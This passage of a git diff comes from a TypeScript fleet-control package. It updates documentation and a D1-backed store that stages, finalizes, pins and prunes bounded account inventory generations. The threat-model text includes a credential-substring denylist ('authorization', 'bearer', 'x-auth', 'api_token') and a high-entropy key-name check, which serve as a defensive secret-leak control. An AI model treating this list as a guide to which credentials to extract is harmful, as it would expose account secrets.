frozen golden baseline pins all of that. The one exception is the scale limit below. - **BEHAVIOR CHANGE (scale limit):** `collectFleetInventory()` is now subject to the same `maxProviderRequests` bound as a bounded run, capped at 1,000 per stage chunk, and six stages carry no resumption cursor so they must finish in one chunk. An account whose largest such stage needs more than 1,000 provider operations — in practice roughly 1,000 prefix-matching plain Workers, which `route-claims` reaches first — now rejects with `fleet inventory stage '' cannot complete one chunk within its provider request budget` instead of returning an inventory, where the previous single-pass enumeration completed under the 10,000-item collection bound. Nothing is written and no partial result is returned. There is deliberately no unbounded mode; narrow `scriptNamePrefix` to split such an account. See the fleet control guide for the stage list and the arithmetic. - Its options parameter gains the exported alias `CollectFleetInventoryOptions`. The shape is identical, so this is not a break. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index c2432440..c20a3aec 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -304,11 +304,15 @@ The equivalence proof assumes that `start` accepts its inputs: at most 10,000 ca The final call returns a `FleetInventoryGenerationRef`, not the inventory. Read the rows back with `readFleetInventoryGeneration(store, generation)`, which materializes the same `FleetResourceInventory` shape `auditFleetDrift()` expects. Only a finalized generation is readable: a staging, failed, or count-divergent generation is structurally unreadable. The latest finalized generation reads without a pin; any older generation must be pinned first with `pinGeneration()`, because `pruneInventoryGenerations()` deletes only finalized-or-failed, non-latest, unpinned generations. +Direct `FleetInventoryLease.commitChunk()` callers must retain the run's account, generation and options, and supply unique row and fact keys. Retry an uncertain commit with the same intended record and payload bytes. Read persisted progress before composing a new transition; an equal revision alone does not establish that the intended transition committed. Conflicting immutable payloads refuse the batch instead of replacing earlier observations. Database errors propagate to the trusted caller. + +Retry the original continuation after an interrupted finalization. The coordinator repairs the matching finalized head before reading the generation. Direct failure callers can retry the same `failRun()` request to release an interrupted head; neither repair clears a newer operation. Pruning retains the active terminal generation so that repair can finish. Await dependent mutations made through one lease handle; independent calls can overlap. A pin that loses a race with reclamation refuses, while an admitted pin protects the generation from pruning. A partial prune remains retryable and cannot gain a new pin over missing data. Pinning can scan the generation in D1; account for that database work when sizing the control plane. Historical generations still require a pin when they are no longer latest. + Two limitations are deliberate. First, a generation is a point-in-time-per-stage snapshot, not a globally consistent one: a resource that changes between stages — a script deleted after the script listing but before its detail read — is recorded exactly as the single-call drain surfaces it, through the same `incomplete-deployment` finding. This is the guarantee `collectFleetInventory()` has always given. Second, durable findings never echo transient provider text. The two sites that previously interpolated a provider error store the fixed details `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`; the transient text stays call-local, which is why `collectFleetInventory()` can still compose today's exact bytes while the durable row cannot. One compatibility limitation follows from that shared engine, and it applies to `collectFleetInventory()` as well as to a bounded run. A stage chunk is bounded by `maxProviderRequests`, whose maximum is 1,000, and six stages carry no resumption cursor or ordinal: `registration-postprocess`, `custom-domains`, `zone-authority`, `route-claims`, `d1-databases`, and `do-namespaces`. Those six must finish inside one chunk, so exhausting the budget there is a refusal rather than partial progress. `collectFleetInventory()` supplies the maximum 1,000 to every chunk, which means an account whose single non-resumable stage needs more than 1,000 provider operations now refuses where the previous single-pass enumeration completed under the 10,000-item collection bound. In practice `route-claims` is the first to reach it: it re-reads the custom domains, the zone list, every zone's route pages, and one identity read per prefix-matching plain Worker, so roughly 1,000 prefix-matching plain Workers in one account is the threshold. An operator sees `fleet inventory stage 'route-claims' cannot complete one chunk within its provider request budget` (naming whichever stage saturated) instead of an inventory; nothing is written and no partial result is returned. The 9-through-1,000 budget is a deliberate bounded boundary, so there is no unbounded mode: split such an account across narrower `scriptNamePrefix` values. -Host-routing KV key names are the one untrusted input in the enumeration. An over-length or credential-shaped key name refuses the run outright. A key name that is merely unprintable or base64-shaped does not: the run records a `malformed-script-registration` finding that names the key by its zero-based listing ordinal — `script inventory key at ordinal has an unsafe name` — instead of echoing the bytes. The accepted trade-off is attribution: that finding is positionally attributable but does not carry the offending name, so resolving it means listing the KV namespace yourself. A misconfigured or hostile key must never be able to kill an account inventory, and hostile bytes must never reach durable state. +Host-routing KV key names are untrusted input in the enumeration. An over-length or credential-shaped key name refuses the run outright. A key name that is merely unprintable or base64-shaped does not: the run records a `malformed-script-registration` finding that names the key by its zero-based listing ordinal — `script inventory key at ordinal has an unsafe name` — instead of echoing the bytes. The accepted trade-off is attribution: that finding is positionally attributable but does not carry the offending name, so resolving it means listing the KV namespace yourself. ## Decommission without losing the export diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 09404d55..4595d3c1 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -158,11 +158,15 @@ A completed cleanup writes an immutable operation-keyed terminal receipt atomica ### Bounded account inventory +An inventory account lease does not authorize another account's operation or a replacement generation or option set. Chunk writes must agree with the run's persisted selection. Row and fact keys are immutable within that generation; a conflicting payload aborts its batch. Duplicate keys are rejected before writes. Lease expiry can still leave earlier staged inserts before progress refuses, so retry payloads must remain stable. + +A same-revision failed run is not evidence that a chunk committed. Convergence requires the intended run record and targeted payloads to agree with durable state. This check does not lock independent provider writers or turn the inventory into a globally consistent snapshot. + A bounded account inventory run persists its progress and its enumerated rows in Fleet D1, so what may enter those rows is a boundary in its own right. Every durable inventory string passes a credential and length control: at most 512 bytes, and none of the case-insensitive substrings `authorization`, `bearer`, `x-auth`, or `api_token`. Every value interpolated into a durable `finding` detail additionally has to be printable and free of whitespace after the caller normalizes a hostname to ASCII. The bounded fleet audit below is a documented exception to the 512-byte figure: its composed finding details are sentences, not short provider-claimed values, so they validate against a 4 KiB string bound instead, under the same credential-substring and control-byte denylist. Neither control is a name grammar, because Cloudflare KV key names permit all printable non-whitespace characters and custom domains may be returned as internationalized Unicode; a narrower charset would abort a run that should merely have recorded a `malformed-route` finding. The two sites that previously interpolated a provider error string are sanitized. A durable finding stores only `registered script '' could not be inspected` or `plain Worker '' could not be inventoried`. The transient provider text stays in call-local diagnostics that are never written to a row, a deployment fact, or the run record. `collectFleetInventory()` composes today's exact bytes from those call-local diagnostics, so the in-memory result is unchanged while the durable row carries no provider text. -Resource names reached through the enumeration — script names, physical script names, database names, route hostnames, zone route patterns, and dispatch namespace names — are either constructed by this codebase from the tenant tag and environment or configured by the operator. A secret can appear in one only if an operator names a resource after a secret, which is self-inflicted and out of scope, exactly as it already is for today's in-memory findings and every existing fleet record field. Bounded inventory adds no new channel there. The one genuinely untrusted input is the raw host-routing KV key name, which any KV writer can set: it faces the credential and length control first, and a name that is base64 or high-entropy shaped (32 or more characters matching the base64 alphabet with no `.`) is never persisted. Such a key takes an ordinal-only finding instead, so a hostile key can neither be echoed into durable state nor kill the run. +Resource names reached through the enumeration — script names, physical script names, database names, route hostnames, zone route patterns, and dispatch namespace names — are either constructed by this codebase from the tenant tag and environment or configured by the operator. A secret can appear in one only if an operator names a resource after a secret, which is self-inflicted and out of scope, exactly as it already is for today's in-memory findings and every existing fleet record field. Bounded inventory adds no new channel there. The one genuinely untrusted input is the raw host-routing KV key name, which any KV writer can set: it faces the credential and length control first, and a name that is base64 or high-entropy shaped (32 or more characters matching the base64 alphabet with no `.`) is never persisted. Such a key is identified by its listing ordinal in the finding. Provider resumption cursors are the one deliberate carve-out. `stage.cursor` and `stage.startAfter` are opaque provider text and they do live in the run record, because bounded resumption is impossible without them. They are confined to the run record, face the credential and length control only — never the finding-detail rule, since a legitimate cursor is base64 — and are never copied into an inventory row, a deployment fact, a continuation token, or a Queue message. Continuation tokens carry a version, an operation id, and a revision, and nothing else. diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts index f80db238..f82a35ec 100644 --- a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -15,6 +15,7 @@ import { type FleetInventoryRunStore, type FleetInventoryStagedFact, type FleetInventoryStagedRow, + FleetInventoryStateError, fleetInventoryRunRecordFromUnknown, fleetInventoryStagedFactFromUnknown, fleetInventoryStagedRowFromUnknown, @@ -145,6 +146,21 @@ function corruptGeneration(generation: number): Error { return new Error(`fleet inventory generation ${generation} is corrupt`); } +function runRecordFromRow(row: Row): FleetInventoryRunRecord { + const record = fleetInventoryRunRecordFromUnknown( + JSON.parse(rowString(row, 'run_record')), + ); + const generation = rowNumber(row, 'generation'); + if ( + record.operationId !== rowString(row, 'operation_id') || + record.progress.generation !== generation || + record.optionsDigest !== rowString(row, 'options_digest') + ) { + throw corruptGeneration(generation); + } + return record; +} + function unknownRun(operationId: string): Error { return new Error(`no fleet inventory run for operation '${operationId}'`); } @@ -188,9 +204,7 @@ function sameCounts( /** * Durable account inventory run store over the fleet state database port. The - * account is trusted configuration, never a per-call argument, and every - * multi-statement mutation is one guarded batch whose guards make a partial - * application impossible. + * account is trusted configuration, never a per-call argument. */ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { readonly #db: FleetStateDatabase; @@ -498,9 +512,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { }>, ): Promise { const { operationId, options, optionsDigest } = input; - // progress.generation is only known inside the batch, so it is seeded here - // and set from SQL by statement 3. - const seeded: FleetInventoryRunRecord = { + const seeded = fleetInventoryRunRecordFromUnknown({ version: 1, operationId, optionsDigest, @@ -514,11 +526,9 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { factCount: 0, providerRequests: 0, }, - // The store invents no wall-clock time: database time is the only clock - // it may read, and the epoch stamp is replaced by the first commit whose - // record the coordinator supplies. + // The coordinator supplies timestamps; the store's clock is database time. updatedAt: new Date(0).toISOString(), - }; + }); const claimed = await this.#db.batch([ { sql: `INSERT INTO ${HEAD_TABLE} ( @@ -556,9 +566,10 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { SELECT ?, ?, h.next_generation - 1, ?, json_set(?, '$.progress.generation', h.next_generation - 1), ${DB_NOW_MS} - FROM ${HEAD_TABLE} h + FROM ${HEAD_TABLE} h WHERE h.account_id = ? AND h.active_operation_id = ? - ON CONFLICT (operation_id) DO NOTHING + AND NOT EXISTS (SELECT 1 FROM ${RUN_TABLE} existing + WHERE existing.account_id = ? AND existing.operation_id = ?) RETURNING operation_id, generation`, bindings: [ operationId, @@ -567,17 +578,16 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { JSON.stringify(seeded), this.#accountId, operationId, + this.#accountId, + operationId, ], }, ]); - // Statement 2's zero-row result IS asserted. Statement 3's is NOT, because a - // replayed start legitimately returns no rows from its DO NOTHING; the - // readback below adjudicates instead. const head = claimed[1] ?? []; const claimedHead = head.length === 1 && head[0]?.active_operation_id === operationId; const persisted = await this.#db.query( - `SELECT operation_id, options_digest, run_record + `SELECT operation_id, generation, options_digest, run_record FROM ${RUN_TABLE} WHERE operation_id = ? AND account_id = ?`, [operationId, this.#accountId], @@ -588,13 +598,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { if (rowString(row, 'options_digest') !== optionsDigest) { throw runOptionsConflict(operationId); } - const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowString(row, 'run_record')), - ); - // Statement 2 wrote nothing while this operation's run exists: either the - // run already completed, in which case the replay is idempotent and must not - // re-reserve the head or burn a generation, or a foreign operation owns the - // head while this run is still unfinished, which is contention. + const record = runRecordFromRow(row); if (!claimedHead && record.state === 'staging') { throw this.#headContention(operationId); } @@ -606,15 +610,13 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ): Promise { await this.#ensureSchema(); const rows = await this.#db.query( - `SELECT run_record FROM ${RUN_TABLE} + `SELECT operation_id, generation, options_digest, run_record FROM ${RUN_TABLE} WHERE operation_id = ? AND account_id = ?`, [operationId, this.#accountId], ); const row = rows[0]; if (!row) return undefined; - return fleetInventoryRunRecordFromUnknown( - JSON.parse(rowString(row, 'run_record')), - ); + return runRecordFromRow(row); } async #commitChunk( @@ -651,29 +653,42 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { JSON.stringify(fact.payload), ]), ); - // Every staging insert carries the SAME lease, state, and PRE-update - // revision guard as the run update, so all statements stand or fall - // together. An unguarded insert would let a stale-lease or losing writer - // land bytes that a later legitimate commit cannot overwrite (DO NOTHING), - // poisoning payloads while the per-kind counts still match the manifest. + if ( + rowPayloads.size !== rows.length || + factPayloads.size !== facts.length + ) { + throw new FleetInventoryStateError(); + } const stagingGuard = `FROM ${RUN_TABLE} r - WHERE r.operation_id = ? + WHERE r.account_id = ? AND r.operation_id = ? + AND r.generation = ? AND r.options_digest = ? AND json_extract(r.run_record, '$.state') = 'staging' AND json_extract(r.run_record, '$.progress.revision') = ? AND ${this.#leaseExists()}`; const stagingGuardBindings = [ + this.#accountId, operationId, + generation, + runRecord.optionsDigest, expectedRevision, ...this.#leaseBindings(token), ]; const updated = await this.#db.batch([ ...rows.map((row) => ({ - sql: `INSERT INTO ${ROW_TABLE} ( + // Different bytes retain the unique-key failure, which rolls back siblings. + sql: `WITH proposed(account_id, generation, kind, ordinal, payload) + AS (VALUES (?, ?, ?, ?, ?)) + INSERT INTO ${ROW_TABLE} ( account_id, generation, kind, ordinal, payload ) - SELECT ?, ?, ?, ?, ? - ${stagingGuard} - ON CONFLICT (account_id, generation, kind, ordinal) DO NOTHING + SELECT p.account_id, p.generation, p.kind, p.ordinal, p.payload + FROM proposed p + WHERE EXISTS (SELECT 1 ${stagingGuard}) + AND NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} staged + WHERE staged.account_id = p.account_id + AND staged.generation = p.generation + AND staged.kind = p.kind AND staged.ordinal = p.ordinal + AND staged.payload = p.payload) RETURNING kind, ordinal`, bindings: [ this.#accountId, @@ -685,14 +700,21 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ], })), ...facts.map((fact) => ({ - sql: `INSERT INTO ${FACT_TABLE} ( + sql: `WITH proposed(account_id, generation, deployment_ordinal, fact_kind, fact_ordinal, payload) + AS (VALUES (?, ?, ?, ?, ?, ?)) + INSERT INTO ${FACT_TABLE} ( account_id, generation, deployment_ordinal, fact_kind, fact_ordinal, payload ) - SELECT ?, ?, ?, ?, ?, ? - ${stagingGuard} - ON CONFLICT ( - account_id, generation, deployment_ordinal, fact_kind, fact_ordinal - ) DO NOTHING + SELECT p.account_id, p.generation, p.deployment_ordinal, p.fact_kind, p.fact_ordinal, p.payload + FROM proposed p + WHERE EXISTS (SELECT 1 ${stagingGuard}) + AND NOT EXISTS (SELECT 1 FROM ${FACT_TABLE} staged + WHERE staged.account_id = p.account_id + AND staged.generation = p.generation + AND staged.deployment_ordinal = p.deployment_ordinal + AND staged.fact_kind = p.fact_kind + AND staged.fact_ordinal = p.fact_ordinal + AND staged.payload = p.payload) RETURNING fact_kind, fact_ordinal`, bindings: [ this.#accountId, @@ -709,31 +731,21 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { { sql: `UPDATE ${RUN_TABLE} SET run_record = ? - WHERE operation_id = ? + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? AND json_extract(run_record, '$.state') = 'staging' AND json_extract(run_record, '$.progress.revision') = ? AND ${this.#leaseExists()} RETURNING operation_id`, - bindings: [ - JSON.stringify(runRecord), - operationId, - expectedRevision, - ...this.#leaseBindings(token), - ], + bindings: [JSON.stringify(runRecord), ...stagingGuardBindings], }, ]); const written = updated.at(-1) ?? []; if (written.length === 1 && written[0]?.operation_id === operationId) { return runRecord; } - // Convergence must re-query the persisted record and the stored bytes. The - // inserts' RETURNING output proves nothing either way: a DO NOTHING insert - // whose row already exists returns no rows, and a guard miss returns no rows - // without failing the batch. return this.#commitConverged({ - operationId, - generation, - revision: runRecord.progress.revision, + runRecord, rowPayloads, factPayloads, }); @@ -741,14 +753,18 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { async #commitConverged( input: Readonly<{ - operationId: string; - generation: number; - revision: number; + runRecord: FleetInventoryRunRecord; rowPayloads: ReadonlyMap; factPayloads: ReadonlyMap; }>, ): Promise { - const { operationId, generation } = input; + const { operationId } = input.runRecord; + const generation = input.runRecord.progress.generation; + const persisted = await this.readRunByOperation(operationId); + if (!persisted) throw unknownRun(operationId); + if (JSON.stringify(persisted) !== JSON.stringify(input.runRecord)) { + throw runConflict(operationId); + } const storedRows = await this.#db.query( `SELECT kind, ordinal, payload FROM ${ROW_TABLE} WHERE account_id = ? AND generation = ?`, @@ -783,11 +799,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { if (stored === undefined) complete = false; else if (stored !== payload) throw stagedDivergence(operationId); } - const persisted = await this.readRunByOperation(operationId); - if (!persisted) throw unknownRun(operationId); - if (complete && persisted.progress.revision === input.revision) { - return persisted; - } + if (complete) return persisted; throw runConflict(operationId); } @@ -804,59 +816,44 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { const persisted = await this.readRunByOperation(operationId); if (!persisted) throw unknownRun(operationId); const generation = persisted.progress.generation; - if (persisted.state === 'failed') throw runConflict(operationId); + if ( + persisted.state === 'failed' || + persisted.progress.revision !== expectedRevision + ) { + throw runConflict(operationId); + } + if ( + !sameCounts(manifest, persisted.progress.stagedCounts) || + factCount !== persisted.progress.factCount + ) { + throw manifestDisagreement(operationId); + } if (persisted.state === 'staging') { - // The counts the guard compares are the PERSISTED record's own, so a - // caller cannot finalize a generation whose run record describes different - // counts than its rows; the caller's arguments only have to agree. - const stagedCounts = persisted.progress.stagedCounts; - if ( - !sameCounts(manifest, stagedCounts) || - factCount !== persisted.progress.factCount - ) { - throw manifestDisagreement(operationId); - } const finalized: FleetInventoryRunRecord = { ...persisted, state: 'finalized', }; - const total = FLEET_INVENTORY_ROW_KINDS.reduce( - (sum, kind) => sum + stagedCounts[kind], - 0, - ); + const manifestGuard = this.#generationManifestGuard(persisted); await this.#db.batch([ { sql: `UPDATE ${RUN_TABLE} SET run_record = ?, finalized_at_ms = ${DB_NOW_MS} - WHERE operation_id = ? + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? AND json_extract(run_record, '$.progress.revision') = ? AND json_extract(run_record, '$.state') = 'staging' AND ${this.#leaseExists()} - AND (SELECT COUNT(*) FROM ${FACT_TABLE} - WHERE account_id = ? AND generation = ?) = ? - AND (SELECT COUNT(*) FROM ${ROW_TABLE} - WHERE account_id = ? AND generation = ?) = ? - ${FLEET_INVENTORY_ROW_KINDS.map( - (kind) => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} - WHERE account_id = ? AND generation = ? AND kind = '${kind}') = ?`, - ).join('\n ')} + ${manifestGuard.sql} RETURNING generation, finalized_at_ms`, bindings: [ JSON.stringify(finalized), + this.#accountId, operationId, + generation, + persisted.optionsDigest, expectedRevision, ...this.#leaseBindings(token), - this.#accountId, - generation, - persisted.progress.factCount, - this.#accountId, - generation, - total, - ...FLEET_INVENTORY_ROW_KINDS.flatMap((kind) => [ - this.#accountId, - generation, - stagedCounts[kind], - ]), + ...manifestGuard.bindings, ], }, { @@ -865,7 +862,9 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { WHERE account_id = ? AND active_operation_id = ? AND ${this.#leaseExists()} AND EXISTS (SELECT 1 FROM ${RUN_TABLE} - WHERE operation_id = ? AND finalized_at_ms IS NOT NULL + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? + AND finalized_at_ms IS NOT NULL AND json_extract(run_record, '$.state') = 'finalized') RETURNING latest_finalized_generation`, bindings: [ @@ -873,23 +872,22 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { this.#accountId, operationId, ...this.#leaseBindings(token), + this.#accountId, operationId, + generation, + persisted.optionsDigest, ], }, ]); } - // The batch is a PROBE: a lost-response replay returns zero rows from both - // statements, so the run row and the head are the only authority. const run = await this.#db.query( - `SELECT run_record, finalized_at_ms FROM ${RUN_TABLE} + `SELECT operation_id, generation, options_digest, run_record, finalized_at_ms FROM ${RUN_TABLE} WHERE operation_id = ? AND account_id = ?`, [operationId, this.#accountId], ); const runRow = run[0]; if (!runRow) throw unknownRun(operationId); - const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowString(runRow, 'run_record')), - ); + const record = runRecordFromRow(runRow); const finalizedAtMs = optionalNumber(runRow, 'finalized_at_ms'); if (record.state !== 'finalized' || finalizedAtMs === undefined) { if (record.progress.revision !== expectedRevision) { @@ -897,24 +895,37 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { } throw manifestMismatch(operationId); } + if ( + JSON.stringify(record) !== + JSON.stringify({ ...persisted, state: 'finalized' }) + ) { + throw runConflict(operationId); + } const head = await this.#headRow(); if (optionalNumber(head, 'latest_finalized_generation') !== generation) { - // The only legal repair: statement 2 alone is idempotent and writes no - // generation data. await this.#db.query( `UPDATE ${HEAD_TABLE} SET latest_finalized_generation = ?, active_operation_id = NULL WHERE account_id = ? + AND (active_operation_id IS NULL OR active_operation_id = ?) + AND (latest_finalized_generation IS NULL OR latest_finalized_generation < ?) AND ${this.#leaseExists()} AND EXISTS (SELECT 1 FROM ${RUN_TABLE} - WHERE operation_id = ? AND finalized_at_ms IS NOT NULL + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? + AND finalized_at_ms IS NOT NULL AND json_extract(run_record, '$.state') = 'finalized') RETURNING latest_finalized_generation`, [ generation, this.#accountId, + operationId, + generation, ...this.#leaseBindings(token), + this.#accountId, operationId, + generation, + persisted.optionsDigest, ], ); } @@ -941,47 +952,69 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { } const persisted = await this.readRunByOperation(operationId); if (!persisted) throw unknownRun(operationId); - if (persisted.state === 'staging') { - const failed: FleetInventoryRunRecord = { - ...persisted, - state: 'failed', - }; - await this.#db.batch([ - { - sql: `UPDATE ${RUN_TABLE} + if ( + persisted.progress.revision !== expectedRevision || + persisted.state === 'finalized' + ) { + throw runConflict(operationId); + } + const failed: FleetInventoryRunRecord = { + ...persisted, + state: 'failed', + }; + await this.#db.batch([ + ...(persisted.state === 'staging' + ? [ + { + sql: `UPDATE ${RUN_TABLE} SET run_record = ? - WHERE operation_id = ? + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? AND json_extract(run_record, '$.state') = 'staging' AND json_extract(run_record, '$.progress.revision') = ? AND ${this.#leaseExists()} RETURNING operation_id`, - bindings: [ - JSON.stringify(failed), - operationId, - expectedRevision, - ...this.#leaseBindings(token), - ], - }, - { - sql: `UPDATE ${HEAD_TABLE} + bindings: [ + JSON.stringify(failed), + this.#accountId, + operationId, + persisted.progress.generation, + persisted.optionsDigest, + expectedRevision, + ...this.#leaseBindings(token), + ], + }, + ] + : []), + { + sql: `UPDATE ${HEAD_TABLE} SET active_operation_id = NULL WHERE account_id = ? AND active_operation_id = ? AND ${this.#leaseExists()} AND EXISTS (SELECT 1 FROM ${RUN_TABLE} - WHERE operation_id = ? + WHERE account_id = ? AND operation_id = ? + AND generation = ? AND options_digest = ? AND json_extract(run_record, '$.state') = 'failed') RETURNING account_id`, - bindings: [ - this.#accountId, - operationId, - ...this.#leaseBindings(token), - operationId, - ], - }, - ]); - } + bindings: [ + this.#accountId, + operationId, + ...this.#leaseBindings(token), + this.#accountId, + operationId, + persisted.progress.generation, + persisted.optionsDigest, + ], + }, + ]); const readback = await this.readRunByOperation(operationId); - if (readback?.state !== 'failed') throw runConflict(operationId); + if (!readback) throw unknownRun(operationId); + if ( + JSON.stringify(readback) !== + JSON.stringify({ ...persisted, state: 'failed' }) + ) { + throw runConflict(operationId); + } } async #headRow(): Promise { @@ -993,6 +1026,61 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { return rows[0]; } + #generationManifestGuard(record: FleetInventoryRunRecord): Readonly<{ + sql: string; + bindings: readonly unknown[]; + }> { + const { generation, stagedCounts, factCount } = record.progress; + const total = FLEET_INVENTORY_ROW_KINDS.reduce( + (sum, kind) => sum + stagedCounts[kind], + 0, + ); + return { + sql: `AND (SELECT COUNT(*) FROM ${FACT_TABLE} + WHERE account_id = ? AND generation = ?) = ? + AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ?) = ? + ${FLEET_INVENTORY_ROW_KINDS.map( + (kind) => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ? AND kind = '${kind}' + AND typeof(ordinal) = 'integer' AND ordinal >= 0 AND ordinal < ?) = ?`, + ).join('\n')}`, + bindings: [ + this.#accountId, + generation, + factCount, + this.#accountId, + generation, + total, + ...FLEET_INVENTORY_ROW_KINDS.flatMap((kind) => [ + this.#accountId, + generation, + stagedCounts[kind], + stagedCounts[kind], + ]), + ], + }; + } + + async #pinTarget(generation: number): Promise< + Readonly<{ + ref: FleetInventoryGenerationRef; + record: FleetInventoryRunRecord; + }> + > { + const target = await this.#finalizedRef(generation); + const guard = this.#generationManifestGuard(target.record); + const available = await this.#db.query( + `SELECT 1 AS available WHERE 1 = 1 ${guard.sql}`, + guard.bindings, + ); + if (available.length !== 1 || available[0]?.available !== 1) { + await this.#finalizedRef(generation); + throw corruptGeneration(generation); + } + return target; + } + async #pinGeneration( token: string, input: Readonly<{ generation: number; pinnedBy: string }>, @@ -1000,7 +1088,8 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { const { generation, pinnedBy } = input; assertGeneration(generation); assertPinnedBy(pinnedBy); - await this.#assertFinalized(generation); + const { ref, record } = await this.#pinTarget(generation); + const manifestGuard = this.#generationManifestGuard(record); await this.#db.batch([ { sql: `INSERT INTO ${PIN_TABLE} ( @@ -1008,6 +1097,12 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ) SELECT ?, ?, ?, ${DB_NOW_MS} WHERE ${this.#leaseExists()} + AND EXISTS (SELECT 1 FROM ${RUN_TABLE} r + WHERE r.account_id = ? AND r.generation = ? + AND r.operation_id = ? AND r.options_digest = ? + AND r.finalized_at_ms = ? + AND json_extract(r.run_record, '$.state') = 'finalized') + ${manifestGuard.sql} ON CONFLICT (account_id, generation, pinned_by) DO NOTHING RETURNING generation`, bindings: [ @@ -1015,10 +1110,19 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { generation, pinnedBy, ...this.#leaseBindings(token), + this.#accountId, + generation, + record.operationId, + record.optionsDigest, + ref.finalizedAtMs, + ...manifestGuard.bindings, ], }, ]); - if (!(await this.#pinned(generation, pinnedBy))) throw this.#leaseLost(); + if (!(await this.#pinned(generation, pinnedBy))) { + await this.#pinTarget(generation); + throw this.#leaseLost(); + } } async #releasePin( @@ -1054,17 +1158,6 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { return rows.length > 0; } - async #assertFinalized(generation: number): Promise { - const rows = await this.#db.query( - `SELECT operation_id FROM ${RUN_TABLE} - WHERE account_id = ? AND generation = ? - AND finalized_at_ms IS NOT NULL - AND json_extract(run_record, '$.state') = 'finalized'`, - [this.#accountId, generation], - ); - if (rows.length !== 1) throw notFinalized(generation); - } - async #pruneGenerations( token: string, input: Readonly<{ limit: number }>, @@ -1080,7 +1173,8 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { OR json_extract(r.run_record, '$.state') = 'failed') AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} WHERE account_id = r.account_id - AND latest_finalized_generation = r.generation) + AND (latest_finalized_generation = r.generation + OR active_operation_id = r.operation_id)) AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE} WHERE account_id = r.account_id AND generation = r.generation) ORDER BY r.generation ASC @@ -1090,18 +1184,22 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { let deleted = 0; for (const candidate of candidates) { const generation = rowNumber(candidate, 'generation'); - // The pin and latest re-checks live inside the delete batch, so a pin - // committed after candidate selection still wins. const guard = `AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE} WHERE account_id = ? AND generation = ?) - AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} - WHERE account_id = ? AND latest_finalized_generation = ?) + AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} h + WHERE h.account_id = ? + AND (h.latest_finalized_generation = ? + OR EXISTS (SELECT 1 FROM ${RUN_TABLE} active_run + WHERE active_run.account_id = h.account_id + AND active_run.operation_id = h.active_operation_id + AND active_run.generation = ?))) AND ${this.#leaseExists()}`; const guardBindings = [ this.#accountId, generation, this.#accountId, generation, + generation, ...this.#leaseBindings(token), ]; const results = await this.#db.batch([ @@ -1195,9 +1293,6 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { payload: JSON.parse(rowString(row, 'payload')), }), ); - // Defense in depth behind the in-SQL finalize guard: the live per-kind - // counts, their ordinal contiguity, and the fact count must still match the - // manifest the finalized run persisted. const live = emptyFleetInventoryRowCounts() as Record< FleetInventoryRowKind, number @@ -1229,16 +1324,14 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { }> > { const rows = await this.#db.query( - `SELECT operation_id, run_record, finalized_at_ms FROM ${RUN_TABLE} + `SELECT operation_id, generation, options_digest, run_record, finalized_at_ms FROM ${RUN_TABLE} WHERE account_id = ? AND generation = ?`, [this.#accountId, generation], ); const row = rows[0]; if (!row) throw notFinalized(generation); const finalizedAtMs = optionalNumber(row, 'finalized_at_ms'); - const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowString(row, 'run_record')), - ); + const record = runRecordFromRow(row); if (record.state !== 'finalized' || finalizedAtMs === undefined) { throw notFinalized(generation); } diff --git a/packages/fleet-control/src/fleet-inventory-advance.ts b/packages/fleet-control/src/fleet-inventory-advance.ts index c20bb1c8..d45a5836 100644 --- a/packages/fleet-control/src/fleet-inventory-advance.ts +++ b/packages/fleet-control/src/fleet-inventory-advance.ts @@ -139,8 +139,16 @@ function runToken(run: FleetInventoryRunRecord): FleetInventoryRunToken { async function completeFromRun( store: 